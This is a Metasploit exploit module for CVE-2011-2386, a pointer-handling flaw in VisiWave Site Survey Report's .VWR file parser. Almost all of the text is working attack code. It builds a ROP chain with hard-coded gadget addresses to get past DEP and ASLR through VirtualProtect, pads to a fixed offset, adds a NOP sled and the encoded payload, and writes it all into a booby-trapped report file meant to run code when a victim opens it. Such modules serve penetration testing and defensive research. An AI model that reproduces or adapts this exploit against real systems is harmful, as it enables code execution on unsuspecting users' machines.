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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'VisiWave VWR File Parsing Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in VisiWave's Site Survey Report application.
When processing .VWR files, VisiWaveReport.exe attempts to match a valid pointer based on the 'Type'
property (valid ones include 'Properties', 'TitlePage', 'Details', 'Graph', 'Table', 'Text',
'Image'), but if a match isn't found, the function that's supposed to handle this routine
ends up returning the input as a pointer, and later used in a CALL DWORD PTR [EDX+10]
instruction. This allows attackers to overwrite it with any arbitrary value, and results code
execution. A patch is available at visiwave.com; the fix is done by XORing the return value as
null if no match is found, and then it is validated before use.
NOTE: During installation, the application will register two file handles, VWS and VWR, which allows a
victim user to 'double click' the malicious VWR file and execute code. This module was also built
to bypass ASLR and DEP.
},
'License' => MSF_LICENSE,
'Author' =>
[
'mr_me <steventhomasseeley[at]gmail.com>', # original discovery & msf exploit
'TecR0c <roccogiovannicalvi[at]gmail.com>' # msf exploit
],
'References' =>
[
[ 'CVE', '2011-2386' ],
[ 'OSVDB', '72464'],
[ 'URL', 'http://www.visiwave.com/blog/index.php?/archives/4-Version-2.1.9-Released.html' ],
[ 'URL', 'http://www.stratsec.net/Research/Advisories/VisiWave-Site-Survey-Report-Trusted-Pointer-%28SS-20'],
],
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d",
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP SP3/Windows 7 SP0',
{
'Offset' => 3981, # offset to rop gadgets
'Pointer' => 0x007AF938, # POP R32; POP R32; POP R32; ADD ESP 50; RETN ("magic" pointer)
}
],
],
'Privileged' => false,
'DisclosureDate' => 'May 20 2011',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.vwr']),
])
end
def exploit
# Allowing nulls in our rop chain is like giving gold to midas.
# instructions taken from the applications non aslr modules
# libcurl.dll, VisiWaveReport.exe and blah blah
rop_gadgets =
[
0x1001AFBD, # INC EBP; PUSH ESP; POP EDI; POP ESI; POP EBP; POP EBX; RET
0xc0fff333, # junk
0xc0fff333, # junk
0x000004cf, # lwSize 1231 bytes
0x100017DD, # POP ECX; RETN
0x10037a60, # Writeable address from .data of libcurl.dll
0x10011104, # POP EDX; RETN
0x00000040, # RWX for VirtualProtect()
0x10026E4D, # MOV EAX,EDI # POP EDI # RETN
0x10002ac6, # RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x10022641, # ADD EAX, 20; RETN
0x004048B1, # XCHG EAX,EBP
0x1001BD3F, # POP EAX; RETN
0x10032048, # IAT Address - constant pointer to VirtualProtect()
0x1000FA4A, # MOV EAX,DWORD PTR DS:[EAX]; RETN
0x00657fd7, # XCHG EAX,ESI; RETN
0x1000af40, # PUSHAD; RET
].pack("V*")
# grab the pointer to our buffer
pointer = [target["Pointer"]].pack("V")
sploit = pointer # begin life in EDX
sploit << rand_text_alphanumeric(target["Offset"]) # massive offset
sploit << rop_gadgets # rop chain
sploit << make_nops(300) # safe landing
sploit << payload.encoded # profit!
vwr_data = "FileType: SSREPORT\r\n"
vwr_data << "Product: VisiWave Site Survey, 1.6.5 Beta\r\n"
vwr_data << "FileVersion: 10\r\n"
vwr_data << "Item: Global Properties\r\n"
vwr_data << "Checked: 1\r\n"
vwr_data << "Type: #{sploit}\r\n"
vwr_data << "SurveyFile: C:\\Program Files\\VisiWave Site Survey\\Samples\\SampleData.vws\r\n"
vwr_data << "FloorPlanImageReport: C:\\WINDOWS\\Web\\bullet.gif\r\n"
vwr_data << "DefaultOrientation: 0\r\n"
vwr_data << "Header:\r\n"
vwr_data << "Footer:\r\n"
vwr_data << "LeftMargin: 100\r\n"
vwr_data << "RightMargin: 100\r\n"
vwr_data << "TopMargin: 50\r\n"
vwr_data << "BottomMargin: 50\r\n"
vwr_data << "Item: #{rand_text_alpha(3)}\r\n"
vwr_data << "Checked: 1\r\n"
print_status("Creating '#{datastore['FILENAME']}'...")
file_create(vwr_data)
end
end